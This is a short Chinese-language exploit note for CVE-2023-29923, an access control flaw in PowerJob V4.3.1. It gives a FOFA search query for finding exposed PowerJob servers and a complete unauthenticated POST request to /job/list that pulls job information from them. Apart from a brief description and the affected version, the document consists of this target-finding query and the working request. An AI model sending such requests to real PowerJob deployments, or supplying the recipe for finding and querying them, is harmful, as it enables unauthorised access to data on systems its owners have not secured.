PowerJob信息泄漏漏洞（CVE-2023-29923）
一、漏洞简介
PowerJob是一个开源分布式计算和作业调度框架，它允许开发人员在自己的应用程序中轻松调度任务。PowerJob V4.3.1版本存在安全漏洞，该漏洞源于存在不正确访问控制。
二、影响版本
- PowerJob V4.3.1
三、资产测绘
- fofa
title="PowerJob" - 特征
四、漏洞复现
POST /job/list HTTP/1.1
Host:
Connection: close
Content-Length: 69
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
{
"appId":1,
"index":0,
"pageSize":10
}